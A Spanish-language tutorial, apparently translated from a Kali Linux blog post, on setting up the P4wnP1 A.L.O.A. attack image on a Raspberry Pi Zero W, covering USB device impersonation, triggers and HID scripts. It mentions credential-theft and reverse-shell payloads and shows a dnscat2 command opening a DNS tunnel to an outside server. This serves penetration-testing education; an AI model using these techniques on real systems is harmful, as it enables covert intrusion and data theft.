GNU/Linux >> Tutoriales Linux >  >> Linux

Exhibición de la comunidad:Raspberry Pi Zero W P4wnP1 A.L.O.A.

La comunidad de Kali ha estado trabajando arduamente (¡como siempre!), y queremos mostrar lo que creemos que es un proyecto genial de Kali Linux en una Raspberry Pi Zero W, el “P4wnP1 A.L.O.A. (A L pequeña O ofensiva A aplicación)”.

Toma la imagen estándar de Kali Linux y agrega software personalizado y algún firmware adicional diseñado para Raspberry Pi Zero W para convertirlo en una navaja suiza de ataques y exfiltración. .

Esta publicación de blog será una breve descripción general de cómo comenzar a usar la interfaz web, configurar un activador e instalar paquetes adicionales que se encuentran en Kali Linux. Hay mucho más en P4wnP1 que esta publicación de blog, por eso ¡Hemos incluido material de lectura adicional de la comunidad que cubre escenarios de ataque adicionales, así como más cargas útiles que la gente ha escrito si desea profundizar más!

Si tiene una Raspberry Pi Zero W, le recomendamos que pruebe esta imagen. ¡La consideramos una gran herramienta en el kit de herramientas de cualquier evaluador!

Lista de la Compra

  • Raspberry Pi Zero W (no Cero 2 W)
  • Placa adicional Raspberry Pi Zero W USB-A (opcional pero recomendada)
  • Cable MicroUSB a USB-A (requerido si no está utilizando la placa adicional anterior)
  • Tarjeta MicroSD (32 GB o más)
  • Kali Linux Raspberry Pi Zero W P4wnP1 A.L.O.A. imagen

Configuración para ponerse a trabajar

Lo primero, descarga el Kali P4wnP1 A.L.O.A. imagen.En el momento de escribir este artículo, la versión actual es 2022.3:

[email protected]:~/Downloads$ ls
kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz

También verificaremos la descarga, regresando a la página de descarga y haciendo clic en sum enlace en el Raspberry Pi Zero W (P4wnP1 A.L.O.A) línea para obtener la suma de comprobación SHA256:

[email protected]:~/Downloads$ echo "210635bb3dc7876b638a7035cd4dc60e0b134b19a6aec42a75f5995036b45840 kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz" | sha256sum -c
kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz: OK

Ahora que hemos verificado que hemos descargado el archivo y coincide, lo escribimos en la tarjeta microSD, que en nuestro sistema es /dev/sdb - en su sistema esto puede ser diferente , NO se limite a copiar y pegar lo que hemos puesto aquí, porque QUIERES sobrescribe lo que tengas en el /dev/sdb de tu sistema si lo haces.

El xzcat El comando abrirá el archivo de imagen comprimido y lo canalizará al dd comando, que hará la escritura real en la tarjeta microSD. El uso de xzcat es un truco rápido, ya que elimina la necesidad de descomprimir la imagen primero:

[email protected]:~/Downloads$ xzcat kali-linux-2022.3-raspberry-pi-zero-w-p4wnp1-aloa-armel.img.xz | sudo dd of=/dev/sdb bs=1M status=progress
[sudo] password for kali:
6421807104 bytes (6.4 GB, 6.0 GiB) copied, 101 s, 63.6 MB/s
0+577993 records in
0+577993 records out
6442450944 bytes (6.4 GB, 6.0 GiB) copied, 162.961 s, 39.5 MB/s

Las velocidades anteriores están en nuestro sistema, estas diferirán según su sistema y la velocidad de la tarjeta microSD que esté utilizando.

Ahora que esto está hecho, podemos desconectar la tarjeta microSD de la máquina y conectarla a nuestra Raspberry Pi Zero W. Si está utilizando un adaptador USB-A similar al que vinculamos en la sección "lista de compras", puede enchufarlo a su computadora para encenderlo; de lo contrario, encienda la Raspberry Pi Zero W a través del micro puerto como de costumbre.

Dado que el primer arranque de Kali Linux hará cosas como cambiar el tamaño del sistema de archivos y configurar las credenciales predeterminadas (usuario:kali , contraseña:kali ) el tiempo variará según la velocidad de la tarjeta microSD.

Usando el P4wnP1 A.L.O.A.

Una vez que se inicie, sabrá que todo está listo para funcionar, cuando vea la red inalámbrica predeterminada :💥🖥💥 Ⓟ➃ⓌⓃ🅟❶ .¡Útil si no tiene conectado un monitor HDMI!

Seleccione el SSID anterior y luego iniciamos sesión con la contraseña :MaMe82-P4wnP1 .

Ahora que estamos conectados, deberíamos ver que nuestro dispositivo inalámbrico está conectado y tiene una dirección IP en el 172.24.0.xxx/24 rango:

[email protected]:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 4096
    link/ether 00:03:7f:12:1f:ae brd ff:ff:ff:ff:ff:ff
    inet 172.24.0.12/24 brd 172.24.0.255 scope global dynamic noprefixroute wlan0
       valid_lft 297sec preferred_lft 297sec

Podemos ver que la dirección IP de nuestro wlan0 el adaptador es 172.24.0.12 , entonces estamos conectados !Ya que nos conectamos con éxito, abramos la interfaz web en nuestro navegador.

La IP predeterminada la dirección de la imagen P4wnP1 A.L.O.A es 172.24.0.1 y el servicio escucha en el puerto 8000 entonces vamos a http://172.24.0.1:8000/ en nuestro navegador.

Al iniciar sesión, podemos ver la lista en la parte superior:Configuración de USB , Configuración Wi-Fi , Bluetooth , Configuración de red , Activar acciones , Script HID , Registro de eventos y Configuración genérica .

Una cosa rápida a tener en cuenta a medida que avanzamos a través de la interfaz a continuación. En el menú de navegación, cada sección tiene varios botones, según la pantalla que se muestre actualmente. Una leyenda de lo que significan estos botones:

Nombre Qué hace
Implementar Activar
Implementar almacenado Cargue algo que esté guardado y actívelo
Restablecer Volver a la configuración predeterminada
Tienda Guardar
Carga almacenada Cargar algo que se haya guardado
Ejecutar Ejecute el script HID actual
Cargar y reemplazar Cargue un script HID guardado y reemplace el contenido actual con él
Cargar y anteponer Cargue un script HID guardado y agréguelo al principio del script actual

Configuraciones USB

Aquí podemos cambiar el Vendor ID (VID) &ID de producto (PID) del dispositivo , por lo que si quiere hacerse pasar por un dispositivo de almacenamiento específico, ¡puede hacerlo! También puede modificar Nombre del fabricante &Nombre del producto , así como el número de serie si realmente desea clonar un determinado dispositivo.Excelente si está tratando de ser sigiloso y ha hecho su tarea explorando el entorno.

¡También puede cambiar varias otras configuraciones para alterar el comportamiento de cómo actúa el dispositivo USB (permitiendo teclado, mouse, soporte de red, almacenamiento masivo e incluso serial)!

Un buen recurso para señalar aquí es The USB ID Repository, que es una gran base de datos de valores conocidos utilizados para dispositivos USB.

Configuración Wi-Fi

La configuración de Wi-Fi le permite cambiar el nombre de la red Wi-Fi SSID , contraseña (también conocido como Pre Shared Key, PSK), así como el canal que se está utilizando. Al alterar estos valores, puede comenzar a mezclarse con el fondo siendo menos distintivo (y más seguro al no usar las credenciales predeterminadas) !

Para aplicar la configuración, haga clic en el botón "Implementar". Tenga en cuenta que cuando cambie la configuración y presione "Implementar", se desconectará y tendrá que volver a conectarse con su nueva configuración.

El modo Wi-Fi predeterminado es Punto de acceso (AP) , que permite que otros dispositivos se conecten a la red inalámbrica de P4wnP1.

Alternativamente, también puede configurar el P4wnP1 para que sea un cliente (modo cliente) en la red, en lugar de un AP. Usando las configuraciones predefinidas, P4wnP1 se conectará a la red y se comportará como otro dispositivo en la red.

La opción final, Cliente con Fallover a AP , le brinda "lo mejor de ambos mundos", ya que P4wnP1 intentará conectarse como cliente y, si eso falla, cambiará a ser un punto de acceso. ¡Genial!

Por ejemplo, lo configuraremos en este modo de caída. Así que si el kali Wi-Fi network está dentro del alcance y tiene la clave correcta, debería conectarse a eso como un cliente, si no, si no estamos dentro del alcance, o no puede verlo, iniciará el punto de acceso network .

Si las ondas de radio están siendo monitoreadas, simplemente puede deshabilitar la red Wi-Fi también.

Bluetooth

Continuando, tenemos la configuración de Bluetooth.

En esta sección, podemos habilitar o deshabilitar Bluetooth. Si detectable , podemos configurar el nombre de Bluetooth , (con el valor predeterminado P4wnP1 ). También podemos configurar el PIN de Bluetooth utilizado para conectarse (el PIN predeterminado es 1337 ) - El PIN solo se usa si el "Emparejamiento simple seguro (SSP)" está desactivado.

Para la configuración de la red Bluetooth, la P personal A real N Se utiliza el perfil de red (PAN). Tenga en cuenta que normalmente tiene un alcance de 10 metros (33 pies) con conexiones Bluetooth.

Algunas definiciones rápidas para personas que pueden no estar familiarizadas con los perfiles de red de área personal de Bluetooth:

Perfil Definición
PANU Conexión punto a punto (uno a uno)
PAN-GN Red Ad-hoc Grupal (GN) de hasta 8 dispositivos
PAN-NAP El punto de agregación de red (NAP) puede unir la conexión Bluetooth con la conexión inalámbrica

Entonces, si configura el P4wnP1 para que esté en PAN-NAP (predeterminado), puede conectar hasta 10 dispositivos al P4wnP1 a través de Bluetooth y compartir su conexión de red de esa manera.

Si tuviera que configurarlo con PAN-GN, hasta 7 dispositivos adicionales podrían conectarse al P4wnP1 y pueden comunicarse entre sí, pero no hay acceso a Internet.

Y si tuviera que usar PANU, solo puede transferir datos entre el dispositivo conectado al P4wnP1 y el propio P4wnP1.

Configuración de red

La siguiente pestaña es Configuración de red, donde podemos cambiar las opciones para las diferentes formas de conectarse al P4wnP1 .

Puede conectarse a través de Bluetooth (bteth) , USB (usbeth) , o como estamos actualmente, a través de Wi-Fi (wlan0) .

Para realizar cualquier cambio, seleccione la interfaz y realice el cambio para esa interfaz, incluido el uso de DHCP. o configurando IP estática valores. También puede modificar algunas opciones de DHCP aquí. Bajo el capó, se utiliza dnsmasq.

Por ejemplo, es posible que desee configurar Wi-Fi en modo cliente, usar el servidor DHCP de la red y tener Bluetooth habilitado como una interfaz alternativa, que ejecuta un servidor DHCP.

Activar acciones

Ahora tenemos disparadores.

Los disparadores son la forma principal de hacer las cosas con el P4wnP1, cuando se cumplen ciertas condiciones. Puede pensar en una acción desencadenante como una carga útil . Independientemente de lo que configure aquí, si se cumplen las condiciones, sucederán las acciones que establezca .

Los disparadores son muy poderosos, y el cielo es el límite al crearlos. Para mojarse los pies, algunas acciones desencadenantes son:

  • Servicio iniciado:Haga algo cuando se haya iniciado un servicio en el P4wnP1
  • Dispositivo USB conectado al host:Haga algo cuando el P4wnP1 esté conectado a un host
  • Dispositivo USB desconectado del host:Haga algo cuando el P4wnP1 esté desconectado de un host
  • El punto de acceso Wi-Fi está activo:Haga algo cuando el punto de acceso del P4wnP1 esté activo
  • Se unió a Wi-Fi existente:Haga algo cuando el P4wnP1 se una a una red Wi-Fi como cliente
  • Concesión de DHCP emitida:Haga algo cuando se emita una concesión de DHCP a un dispositivo conectado al P4wnP1
  • Entrada en GPIO - Haga algo basado en la entrada de pines GPIO de Raspberry Pi
  • Inicio de sesión de usuario SSH:Haga algo cuando un usuario inicie sesión en el P4wnP1 a través de SSH

Si desea profundizar un poco más (y mantener su flujo de trabajo más simple con valores de nombres significativos) , puedes usar canales de grupo . Como sugiere el nombre, puede agrupar acciones. Esto permite reglas más fáciles de leer, así como una lógica más compleja. Estas opciones son:

  • Un valor en un canal de grupo:Haga algo cuando coincida un valor específico en un canal de grupo
  • Múltiples valores en un canal de grupo:Haga algo una vez que coincidan varios valores en un canal de grupo

El escenario de ejemplo de esto podría tener el resultado final de "ejecutar un script bash en el P4wnP1", pero las condiciones para que esto suceda son cuando "El punto de acceso Wi-Fi está activo" y "Dispositivo USB conectado al host". reunió. Así que crea algunos disparadores:

  • En "El punto de acceso Wi-Fi está activo" -> envíe el valor "1" al grupo "conectado"
  • En "Dispositivo USB conectado al host" -> envíe el valor "2" al grupo "conectado"

Podemos ir a una lógica aún más compleja con las reglas al hacer el tercer disparador. Podemos controlar el orden usando "secuencia ordenada exacta". Entonces, ¿importa si el dispositivo está enchufado antes de que el punto de acceso Wi-Fi esté activo? Usando:

  • type "All (logical AND)" el orden no importa para hacer la acción
  • exact ordered sequence el orden importa para activar la acción

Con lo que tenemos en mente, no requerimos una determinada secuencia de eventos, por lo que usamos multiple values on group channel"; values (1,2); type "All (logical AND)" -> Start bash script .

Algo más a tener en cuenta al pensar en ideas, puede habilitar el modo de "una sola toma", que solo se activará una vez, en lugar de cada vez que ocurra el evento. Útil si el P4wnP1 está disfrazado como otro dispositivo, puede comportarse "normalmente" después de ejecutar la carga útil por primera vez.

secuencia HID

Pasando a la pestaña HIDScript, si alguna vez ha usado DuckyScript, los HIDscripts son similares, pero se basan en JavaScript en lugar de bash.

Los "HIDScripts" se ejecutan en el dispositivo Raspberry Pi e interactúan con el hardware "falso" enumerado que está conectado externamente, sin embargo, los "bash scripts" se ejecutan en el sistema operativo Raspberry Pi "interno".

Para comenzar, P4wnP1 se rellena previamente con un HIDScript simple (llamado hidtest1.js ) que iniciará el bloc de notas en una computadora con Windows, escribirá una frase, luego moverá el mouse y luego la repetirá sin demoras. Puede encontrar más información sobre esto en nuestro disparador de ejemplo.

En Otros recursos al final de esta publicación, puede encontrar cargas útiles adicionales que la gente ha escrito, si desea o necesita inspiración, como:

  • Extraiga las credenciales de Chrome e Internet Explorer, así como cualquier información de redes Wi-Fi almacenada, y cópielas en el P4wnP1
  • Abrir una página web
  • Ejecute un comando como administrador en el sistema de destino al que está conectado el P4wnP1
  • Usando solo los comandos de PowerShell, cree un shell inverso con derechos de administrador

Para ayudar a crear y depurar HIDscripts, puede hacer clic en RUN en cualquier momento para ejecutar, en lugar de tener que hacer los eventos de una acción desencadenante.

Registro de eventos

La pestaña Registro de eventos es donde se registran los eventos, si ha configurado algún activador para registrar.

El registro de eventos es solo para P4wnP1 A.L.O.A. eventos y no incluye registros en el propio sistema.

Esto es útil para depurar cargas útiles y disparadores que esté escribiendo, realizar un seguimiento del proceso de acciones y recuperar el contenido de las cargas útiles,

Configuración genérica

Y finalmente tenemos nuestra Configuración genérica, donde podemos hacer cosas como usar el Editor de plantillas maestras para controlar cuáles son los valores predeterminados cada vez que se inicia, así como Reiniciar o Apagar el dispositivo P4wnP1 y también hacer una copia de seguridad o restaurar la base de datos P4wnP1 (para que se conserve su configuración y trabajo duro).

Creando nuestro propio Trigger

Ahora que hemos cubierto el uso de la interfaz web del P4wnP1 A.L.O.A., pongamos en práctica la información que hemos obtenido. Como ejemplo, configuremos el P4wnP1 para que cuando:

Conecte el P4wnP1 a una máquina con Windows mientras en modo dispositivo USB , ejecutará el HIDScript predeterminado hidtest1.js para ejecutar un comando y mover el mouse.

Primero, vayamos a la interfaz web y hagamos clic en activar acciones:

Luego haremos clic en Agregar uno , que abre la siguiente ventana modal y para cambiar cualquier configuración, tiene que estar habilitado , así que también lo haremos rápidamente:

En este caso elegiremos:USB gadget connected to host :

Ahora seleccionamos la acción a realizar, que es “Iniciar un HIDScript”:

Ahora elegimos qué HIDScript cargar. Para este ejemplo, cargaremos el HIDscript predeterminado que está escrito, llamado hidtest1.js , que iniciará el bloc de notas, escriba "Hola desde P4wnP1 ejecutar" y luego mueva el mouse hacia la derecha, luego hacia la izquierda, y luego lo volverá a hacer, pero mucho más rápido, para mostrar la velocidad a la que P4wnP1 puede ejecutarlos.

Cualquier HIDScript que escriba, u obtenga de la comunidad, aparecerá en esta lista una vez que se agregue a su P4wnP1. La siguiente lista son solo los predeterminados que vienen con el P4wnP1.

Por último, para guardar nuestro activador, hacemos clic en Update botón:

¡Feliz piratería!

Instalación de un paquete cuando está conectado por SSH

Cuando tiene acceso a Internet en el P4wnP1, tiene a su disposición el arsenal completo de repositorios de Kali. Por lo tanto, cualquier paquete que pueda instalar en Kali en una Raspberry Pi Zero W estará disponible para su uso en los scripts de bash que pueda escribir. Puede acceder a esos scripts a través de disparadores.

Sin embargo, está conectado a P4wnP1, puede usar SSH usando el kali y root usuarios. Las credenciales predeterminadas son:

  • kali / kali
  • root / toor

Ahora vamos a instalar el paquete dnscat2-client en P4wnP1, luego nos conectaremos a un servidor dnscat2 que ya hemos configurado en otro lugar.

Como recordatorio, siempre queremos ejecutar sudo apt update antes de instalar paquetes, para asegurarnos de obtener la última versión:

[email protected]:~$ sudo apt update
[...]
[email protected]:~$
[email protected]:~$ sudo apt -y install dnscat2-client
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Suggested packages:
  dnscat2-server
The following NEW packages will be installed:
  dnscat2-client
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
[...]

Ahora, simplemente podemos ejecutar el comando sugerido al configurar dnscat2-server en nuestra otra máquina:

[email protected]:~$ dnscat --dns server=10.0.13.37,port=53 --secret=5672ddb107fe2f33e490a83e8d1036ca
Creating DNS driver:
 domain = (null)
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 10.0.13.37

** Peer verified with pre-shared secret!

Session established!

¡Feliz pirateo (otra vez)!

Créditos

El autor original de P4wnP1 A.L.O.A. es Marcus Mengs, también conocido como MaMe82.

Rogan Dawes se hizo cargo del mantenimiento cuando Marcus tuvo que retirarse.

Recordatorio

Nos encanta ver lo que la comunidad construye sobre Kali Linux, si está trabajando en un proyecto, ¡háganoslo saber!

Puede comunicarse con nosotros en Twitter o en nuestro Discord.

Otros recursos

Recursos del proyecto :

  • P4wnP1 A.L.O.A. Página de inicio
  • Twitter de P4wnP1

Recursos de Kali :

  • Kali Linux P4wnP1 A.L.O.A. Documentación

Recursos de la comunidad :

  • Una funda para P4wnP1 con espacio para una pantalla OLED
  • Un menú para usar con una pantalla OLED en el P4wnP1 A.L.O.A
  • Cargas útiles adicionales para P4wnP1 A.L.O.A.
  • Hackear con Raspberry Pi Zero W
  • Kali Linux P4wnP1 A.L.O.A. Guía - Configuración / Uso / Ejemplos
  • P4wnP1 A.L.O.A.:un dispositivo de ataque HID avanzado
  • Pi Zero como dispositivo HID \ USB (P4wnP1 A.L.A.O)
  • Video sobre el uso de una pantalla OLED con el P4wnP1 A.L.O.A
  • Generador de carga útil HID de Windows

Linux
  1. ¿Qué hace que la comunidad de Linux sea especial?

  2. Generando confianza en la comunidad Linux

  3. Cómo girar la pantalla en una Raspberry Pi 3

  4. Temas de la comunidad de Kali

  5. Exhibición de la comunidad:Raspberry Pi Zero W P4wnP1 A.L.O.A.

Raspberry Pi OS y Plasma - Troublely McTroublesome

Raspberry Pi 4:¿un mini escritorio viable?

Cómo instalar el sistema operativo Raspbian en Raspberry Pi

Cómo hacer que Raspberry Pi arranque en la GUI de forma predeterminada

Cómo SSH en una Raspberry Pi [Consejo para principiantes]

¿Cómo emular la Raspberry Pi 2 en QEMU?